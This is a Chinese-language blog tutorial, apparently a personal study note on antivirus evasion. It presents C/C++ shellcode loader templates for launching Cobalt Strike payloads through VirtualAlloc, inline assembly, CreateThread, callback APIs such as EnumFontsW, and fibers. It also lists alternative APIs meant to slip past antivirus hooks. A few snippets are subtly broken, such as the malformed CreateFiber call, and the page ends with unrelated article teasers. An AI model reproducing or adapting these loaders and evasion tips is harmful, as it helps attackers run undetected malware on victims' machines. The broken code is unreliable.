免殺筆記 ----> ShellCode Loader !!!

學了那么久的前置知識,終于到了能上線的地方了!!!? ???

不過這里還沒到免殺的部分,距離bypass一眾的殺毒軟件還有很長的路要走!!?

目錄

1.ShellCode

2.ShellCode Loader的概念

3.可讀可寫可執行

4.ShellCode Loader的類型

1.指針調用

2.匯編調用

3.新建線程調用

4.回調函數

5.纖程加載

1.ShellCode

在學shellcode loader之前,我們得去先了解一下什么是ShellCode

Shellcode 是一段被設計成能夠被計算機上的某個程序或系統調用執行的機器碼。通常,Shellcode 的目標是利用操作系統或應用程序中的漏洞或弱點,以便于執行特定的任務,比如獲取系統權限、執行遠程命令、竊取信息等。

如果我們去看一個普通的木馬的話(不考慮一些騷操作的執行的話)我們一般都是能看見這樣的結構的!?

或者我們直接去CS上也是能直接去生成一段裸的代碼的話也是能看見我們的ShellCode的

生成出來的文件就是我們的Shell Code

2.ShellCode Loader的概念

有了ShellCode的知識的鋪墊之后,我們就可以去講我們的ShellCode Loade了

Shellcode loader(Shellcode加載器)是一種軟件或代碼片段,用于加載和執行Shellcode。它的主要目的是將Shellcode(通常是一段機器碼,以二進制形式編寫)注入到系統內存中,并使其在計算機上執行。

當然了,一個木馬并不是一定需要shellcode loader的!!!?

3.可讀可寫可執行

我們的ShellCode一定是要一塊可讀可寫可執行的內存,那么我們怎么樣才能拿到一塊可讀可寫的內存呢????? ?那么下面,我們先來介紹一個Windows的API!!!

VirtualAlloc   //雖然這個API被殺的很死

我們去MSDN看看對應這個API的解釋

VirtualAlloc 是Windows操作系統中的一個函數,用于在進程的虛擬地址空間中分配內存。它的作用是動態地為程序分配一塊指定大小的內存區域,這塊內存可以用于存儲數據或者執行代碼。

LPVOID VirtualAlloc(LPVOID lpAddress,SIZE_T dwSize,DWORD  flAllocationType,DWORD  flProtect
);
  • lpAddress: 指定要分配的內存區域的起始地址。如果為 NULL,系統會自動選擇一個合適的地址。
  • dwSize: 指定要分配的內存區域的大小(以字節為單位)。
  • flAllocationType: 指定分配類型,如 MEM_COMMIT 表示分配物理存儲器并將其初始化為零,MEM_RESERVE 表示為內存區域保留地址空間而不實際分配物理存儲器等。
  • flProtect: 指定內存保護屬性,如 PAGE_EXECUTE_READWRITE 表示可執行內存并且可讀寫等。

并且它的返回類型是LPVOID 所以我們就可以用 void* 或者直接PVOID去接受它的返回地址

那么下面我們就來申請一塊可讀可寫可執行的內存

void *p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

這樣,我們的指針p就執行了一塊可讀可寫可執行的內存地址的首地址

4.ShellCode Loader的類型

1.指針調用

首先我們申請一塊內存肯定就不說了,然后我們需要將我們的ShellCode復制到這塊內存上

  • Memcpy
void* memcpy(void* destination, const void* source, size_t num);

所以我們的代碼就可以初見端倪了

void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));

當然了,memcpy是有返回值的,我們還可以寫一段代碼判斷一下是否copy成功

void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (memcpy(p, buf, sizeof(buf)))
{cout << "Memcpy OK :)" << endl;
}
else
{cout << "Memcpy Failed :("<<endl;
}

執行結果如下

然后就是去執行了,怎么執行呢?? 這里我悶給出一種格式

((void(*)())p)();
  • void(*)() 這是一個不返回任何值的函數指針的聲明、
  • ((void(*)())p) 這是強制將 p 轉換成void(*)()的指針類型
  • 然后((void(*)())p) () 就是函數調用

所以我們的完整的代碼就是

	void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (memcpy(p, buf, sizeof(buf))){cout << "Memcpy OK :)" << endl;}else{cout << "Memcpy Failed :("<<endl;}((void(*)())p)();

當我們運行一下的時候,就能看見CS上線了!!!!!(終于上線了)

當然了,這樣是絕對不免殺的(如果這免殺就離大譜了)

2.匯編調用

首先聲明一下在64位的程序下,是不能直接寫匯編的,所以我們一般都是用的32位的Shellcode

然后我們就來看以下代碼

	__asm{lea eax, buf;call eax;}

這段代碼其實就是將BUF的地址給了eax ,然后直接用call 函數去執行 buf 地址的函數(強制改變它的EIP)

但是你會發現這樣是不會上線的!!? 因為我們的ShellCode 是放在了全局變量初,這塊內存可讀可寫,但是不可執行!!!!? 所以我們的代碼時沒有用的!!! 我們必須通過一行代碼來讓這塊內存RWX

#pragma comment(linker, "/section:.data,RWE")

?所以我們的代碼就變成了這樣

#include<iostream>
#include<windows.h>
using namespace std;
/* length: 797 bytes */
unsigned char buf[] = ""
#pragma comment(linker, "/section:.data,RWE")
int  main()
{__asm{lea eax, buf;call eax;}return 0;
}

這樣,就能上線了!!!

3.新建線程調用

創建線程會在新的線程上下文中執行 shellcode,這意味著 shellcode 的執行環境與主程序的環境是隔離的。如果 shellcode 導致了異常或者崩潰,主程序通常不會受到直接影響,而是會在獨立的線程中進行處理。

我們首先來貼一段代碼,然后再來對這段代碼進行解釋

unsigned char buf[] = "shellcode";   
int main()
{DWORD dwThreadId; // 線程IDHANDLE hThread; // 線程句柄void* shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);CopyMemory(shellcode, buf, sizeof(buf));hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId);WaitForSingleObject(hThread, INFINITE);return 0;
}

上面大部分代碼我們都是很熟悉的,這里我們要說的一下的就是我們的這個也是被殺的API

  • CreateThread
HANDLE CreateThread(LPSECURITY_ATTRIBUTES   lpThreadAttributes,SIZE_T                  dwStackSize,LPTHREAD_START_ROUTINE  lpStartAddress,__drv_aliasesMem LPVOID lpParameter,DWORD                   dwCreationFlags,LPDWORD                 lpThreadId
);

其中對于各個參數的解釋

  • lpThreadAttributes:線程安全屬性,通常為 NULL
  • dwStackSize:新線程的棧大小,通常為 0 表示使用默認大小。
  • lpStartAddress:線程函數的地址,即新線程將從這個函數開始執行。
  • lpParameter:傳遞給線程函數的參數,可以是任意類型的數據。
  • dwCreationFlags:線程創建的標志,通常為 0
  • lpThreadId:輸出參數,用于接收新線程的ID。

其中比較重要的就是lpStartAddress,lpThreadId。分別也就對應了我們的兩個變量。 其中ID就沒什么好說的了,我們來說一下那個線程函數的地址

(LPTHREAD_START_ROUTINE)shellcode 的作用是將 shellcode強制轉換為LPTHREAD_START_ROUTINE 類型的函數指針。這樣,在調用 CreateThread 函數時,可以將轉換后的函數指針作為線程的入口點,使得新線程從 shellcode 函數開始執行。

然后還有一個函數就是

  • WaitForSingleObject()

WaitForSingleObject() 是一個用于等待一個指定的對象(如線程、進程、事件、互斥體等)進入 signaled 狀態的函數。

  • hHandle:要等待的對象的句柄(handle)。可以是線程句柄、進程句柄、事件句柄等。
  • dwMilliseconds:等待的超時時間,單位是毫秒。如果設為 INFINITE(-1),表示無限等待,直到對象變為 signaled 狀態。

這樣,我們就能看懂我們一開始寫的代碼了

#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = "";int main()
{DWORD id;HANDLE thread;void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)p, NULL, NULL, &id);WaitForSingleObject(thread, INFINITE);return 0;
}

也是能成功上線的!!!!!??

當然了,這也是不免殺的,只是一個loader而已

4.回調函數

還記得以前還沒學習免殺的時候,就聽過回調函數的大名,但是不知道現在回調函數的效果怎么樣了!!? ?我們先來了解一下什么是回調函數

"回調函數" 是一種在編程中常見的概念,特別是在事件驅動的編程模型中經常用到。它指的是一種函數,通常作為參數傳遞給另一個函數,并在特定事件發生時由另一個函數調用(即“回調”),以便處理該事件或者進行適當的響應。

聽不太懂? 沒事,我用人話翻譯一下

利用某些系統或應用程序接口(API),將 shellcode 的地址注冊為回調函數。當特定條件滿足時,系統或應用程序會調用該回調函數,從而間接執行 shellcode。

那么,他和上面的幾種運行Shellcode的方式有什么不同呢???

隱蔽性強:通過合法的系統接口間接執行 shellcode,可以繞過一些安全檢測和監控機制,因為通常系統并不會懷疑合法接口的使用。

對于直接操作內存,現代操作系統和安全軟件可能會監視和攔截直接執行 shellcode 的操作,認為這是惡意行為,而通過回調函數,有可能AV并沒有Hook這些函數,所以我們就能成功的運行ShellCode !!?

那么我們先來貼一段代碼

#include <Windows.h>
unsigned char shellcode[] = "shellcode";
int main() {LPVOID address = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT,PAGE_EXECUTE_READWRITE);memcpy(address, shellcode, sizeof(shellcode));HDC dc = GetDC(NULL);EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);return 0;
}

前面兩段我們非常熟悉,不多說,我們說說后面的部分!

HDC dc = GetDC(NULL);
EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);

首先通過GetDC獲取屏幕設備的上下文句柄。

然后通過EnumFontsW這個函數在枚舉每一個字體的時候,調用我們的Shellcode這個函數!!

所以就能看得懂我們這一段loader了

int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));HDC dc = GetDC(NULL);EnumFontsW(dc, NULL, (FONTENUMPROCW)p, NULL);return 0;
}

?也是成功上線

當然了,回調函數還有很多,我們替換就是了

1. EnumTimeFormatsA()
2. EnumWindows()
3. EnumDesktopWindows()
4. EnumDateFormatsA()
5. EnumChildWindows()
6. EnumThreadWindows()
7. EnumSystemLocalesA()
8. EnumSystemGeoID()
9. EnumSystemLanguageGroupsA()
10. EnumUILanguagesA()
11. EnumSystemCodePagesA()
12. EnumDesktopsW()
13. EnumSystemCodePagesW()

5.纖程加載

這個我在我之前的Blog也說過一下(不過當時我并不懂是什么意思),現在我們可以來看看了

纖程是什么? 纖程是一種用戶模式下的執行單元,不同于操作系統內核管理的線程。它由用戶代碼顯式地創建和管理,而不像線程那樣由操作系統內核來調度和管理。

我們還是來貼一段上線的代碼

int main() {UCHAR buf[] = "";DWORD oldProtect;BOOL ret = VirtualProtect((LPVOID)buf, sizeof buf,PAGE_EXECUTE_READWRITE,&oldProtect);PVOID mainFiber = ConvertThreadToFiber(NULL);PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);SwitchToFiber(shellcodeFiber);DeleteFiber(shellcodeFiber);
}

其實前面還是換湯不換藥,我們直接來講一下后面的新代碼

    PVOID mainFiber = ConvertThreadToFiber(NULL);PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);SwitchToFiber(shellcodeFiber);DeleteFiber(shellcodeFiber);
  • ConvertThreadToFiber(NULL)函數將當前線程轉換為主纖程。主纖程是在進程初始化時自動創建的纖程,它可以讓當前線程參與到纖程的調度中。
  • CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL); 函數用于創建一個新的纖程。
  • SwitchToFiber(shellcodeFiber); 函數將當前線程切換到指定的纖程

所以我們就能看懂那一段代碼了

#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = ""
int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);void* mainfiber = ConvertThreadToFiber(NULL);void* shellfiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)(char *)buf, NULL);SwitchToFiber(shellfiber);return 0;
}

也是能成功上線的

當然了,Shellcode Loader還有很多的類型,這里只是介紹了一些最簡單的Loader ,想免殺的話,你可以最簡單的替換一下函數

GlobalAlloc()
CoTaskMemAlloc()
HeapAlloc()
RtlCreateHeap()
AllocADsMem()
ReallocADsMem()

當然了,最簡單的換函數肯定是不能過的,接著你可以隱藏導入表(這個我后面找時間更新!!)

當然了,就算隱藏了導入表也是無法完成免殺的,所以怎么免殺 ?? 我們后面來說 !!!?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/40171.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/40171.shtml
英文地址,請注明出處:http://en.pswp.cn/web/40171.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

字符串函數5-9題(30 天 Pandas 挑戰)

字符串函數 1. 相關知識點1.5 字符串的長度條件判斷1.6 apply映射操作1.7 python大小寫轉換1.8 正則表達式匹配2.9 包含字符串查詢 2. 題目2.5 無效的推文2.6 計算特殊獎金2.7 修復表中的名字2.8 查找擁有有效郵箱的用戶2.9 患某種疾病的患者 1. 相關知識點 1.5 字符串的長度條…

代碼隨想錄算法訓練營第四十四天|188.買賣股票的最佳時機IV、309.最佳買賣股票時機含冷凍期、714.買賣股票的最佳時機含手續費

188.買賣股票的最佳時機IV 題目鏈接&#xff1a;188.買賣股票的最佳時機IV 文檔講解&#xff1a;代碼隨想錄 狀態&#xff1a;不會 思路&#xff1a; 在股票買賣1使用一維dp的基礎上&#xff0c;升級成二維的即可。 定義dp[k1][2]&#xff0c;其中 dp[j][0] 表示第j次交易后持…

虛擬ECU:純電動汽車發展下的新選擇

人類文明的進步是一個不斷自我否定、自我超越的過程。21世紀以來&#xff0c;隨著科技進步和經濟社會發展&#xff0c;能源和交通系統已從獨立于自然環境的孤立系統&#xff0c;轉變為與自然、技術、社會深度耦合的復雜系統。為實現可持續發展和應對氣候變化&#xff0c;世界各…

【居家養老實訓室】:無障礙設施建設與評估

本文圍繞居家養老實訓室中的無障礙設施建設與評估展開討論。首先闡述了無障礙設施對于居家養老的重要性&#xff0c;接著詳細介紹了常見的居家養老無障礙設施類型&#xff0c;包括出入口、通道、臥室、衛生間等區域的設施。然后重點探討了無障礙設施的評估方法和標準&#xff0…

【C++航海王:追尋羅杰的編程之路】關聯式容器的底層結構——AVL樹

目錄 1 -> 底層結構 2 -> AVL樹 2.1 -> AVL樹的概念 2.2 -> AVL樹節點的定義 2.3 -> AVL樹的插入 2.4 -> AVL樹的旋轉 2.5 -> AVL樹的驗證 2.6 -> AVL樹的性能 1 -> 底層結構 在上文中對對map/multimap/set/multiset進行了簡單的介紹&…

《簡歷寶典》02 - 如果你是HR,你會優先打開哪份簡歷?

現在的求職環境不必多說&#xff0c;其實我們大家都還是很清楚的。所以&#xff0c;在這個環境下&#xff0c;寫一份優秀的簡歷&#xff0c;目的與作用也不必多說。那么&#xff0c;這一小節呢&#xff0c;我們先從簡歷這份文檔的文檔名開始說起。 目錄 1 你覺得HR們刷簡歷的時…

【深度學習】圖形模型基礎(5):線性回歸模型第二部分:單變量線性回歸模型

1.引言 在統計學與機器學習的廣闊領域中&#xff0c;線性回歸作為一種基礎而強大的預測技術&#xff0c;其核心在于通過輸入變量&#xff08;或稱預測器、自變量&#xff09;來估計輸出變量&#xff08;響應變量、因變量&#xff09;的連續值。本章聚焦于線性回歸的一個基本但…

Spring-@Component和@Configuration的區別

前言 在Spring框架中&#xff0c;Configuration和Component注解都是用于組件掃描和管理Bean的生命周期&#xff0c;但它們有著不同的用途和應用場景 Component 注解 Component是一個通用的 stereotype 注解&#xff0c;表明一個Java類為Spring框架中的一個Bean組件。Spring會自…

【C++】相機標定源碼筆記- 立體視覺相機的校準和圖像矯正類

類主要用于雙目相機的標定和矯正。它包含了讀取和保存相機模型、計算標定參數以及矯正圖像的功能。通過這些功能&#xff0c;可以實現雙目相機的標定和矯正&#xff0c;從而提高雙目相機的精度和穩定性。 公有函數&#xff1a; 構造函數、帶參構造函數、析構函數、讀取雙目相機…

摩斯邀您參加“WAIC 2024世界人工智能大會”

2024世界人工智能大會暨人工智能全球治理高級別會議&#xff08;簡稱“WAIC 2024”&#xff09;將于7月在上海世博中心、世博展覽館舉行&#xff0c;論壇時間為7月4日-6日&#xff0c;展覽時間為7月5日-7日。大會展覽面積超5.2萬平方米&#xff0c;重點圍繞核心技術、智能終端、…

STM32要學到什么程度才算合格?

在開始前剛好我有一些資料&#xff0c;是我根據網友給的問題精心整理了一份「嵌入式的資料從專業入門到高級教程」&#xff0c; 點個關注在評論區回復“888”之后私信回復“888”&#xff0c;全部無償共享給大家&#xff01;&#xff01;&#xff01; STM32 這玩意兒要學到啥…

今天聊聊AI

AI是在幫助開發者還是取代他們&#xff1f; 在軟件開發領域&#xff0c;生成式人工智能&#xff08;AIGC&#xff09;正在改變開發者的工作方式。無論是代碼生成、錯誤檢測還是自動化測試&#xff0c;AI工具正在成為開發者的得力助手。然而&#xff0c;這也引發了對開發者職業…

vscode 前行復制到下一行

目錄 這個技巧也比較多 選擇 python解釋器 F1 Ctrl Shift P 跳轉上一次編輯 下一次編輯 Ctrl d 會把當前行復制到下一行 步驟1&#xff1a;打開鍵綁定設置 使用VS Code設置換行 這個技巧也比較多 VS Code技巧匯總_vs code反縮進-CSDN博客 選擇 python解釋器 F1 Ctrl Shi…

Java中如何使用 tesseract-ocr 進行圖片文字提取(tesseract、tesseract訓練自己的字庫)

tesseract下載鏈接&#xff1a; github&#xff1a;https://github.com/tesseract-ocr/ db&#xff1a;https://digi.bib.uni-mannheim.de/tesseract/ 文字識別技術在許多領域都有廣泛的應用&#xff0c;例如文檔處理、自動化辦公、移動設備上的文本輸入等。而Tesseract-OCR作…

Python推導式寫出簡潔高效的代碼方法詳解

概要 推導式是Python中一種非常強大的語法特性,允許你用簡潔的語法創建列表、字典、集合等數據結構。使用推導式不僅可以讓代碼更加簡潔和易讀,還能提高代碼的執行效率。本文將詳細介紹Python中的各種推導式,并提供相應的示例代碼,幫助全面掌握這一強大的工具。 列表推導式…

【前端項目筆記】9 數據報表

數據報表 效果展示&#xff1a; 在開發代碼之前新建分支 git checkout -b report 新建分支report git branch 查看分支 git push -u origin report 將本地report分支推送到云端origin并命名為report 通過路由的形式將數據報表加載到頁面中 渲染數據報表基本布局 面包屑導航…

數據洞察:從零到一的數據倉庫與Navicat連接全攻略【實訓Day04】[完結篇]

一、數據分析 1 實現數據倉庫(在hadoop101上) 1) 創建jobdata數據庫 # cd $HIVE_HOME # bin/hive hive>create database jobdata; hive>use jobdata; 2) 創建原始職位數據事實表ods_jobdata_orgin(在hadoop101上) create table ods_jobdata_origin( city string CO…

Keepalived+LVS實現負責均衡,高可用的集群

Keepalived的設計目標是構建高可用的LVS負載均衡群集&#xff0c;可以調用ipvsadm工具來創建虛擬服務器&#xff0c;管理服務器池&#xff0c;而不僅僅用作雙機熱備。使用Keepalived構建LVS群集更加簡便易用&#xff0c;主要優勢體現在&#xff1a;對LVS負責調度器實現熱備切換…

配置并調試后端程序(sql)

1.環境準備 安裝VS Code和Node.js插件&#xff1a;確保你已經安裝了VS Code和Node.js插件。創建launch.json文件&#xff1a;在你的項目中創建一個.vscode文件夾&#xff0c;并在其中創建launch.json文件。添加以下內容&#xff1a; {"version": "0.2.0"…

uniapp 數據父傳子

文章目錄 可能出現的問題 在uni-app中&#xff0c;父組件向子組件傳遞數據主要通過屬性綁定的方式實現。這里提供一個簡單的示例來說明如何進行父傳子的數據傳遞&#xff1a; 父組件 準備數據: 在父組件的data中定義要傳遞的數據。 export default {data() {return {parentMe…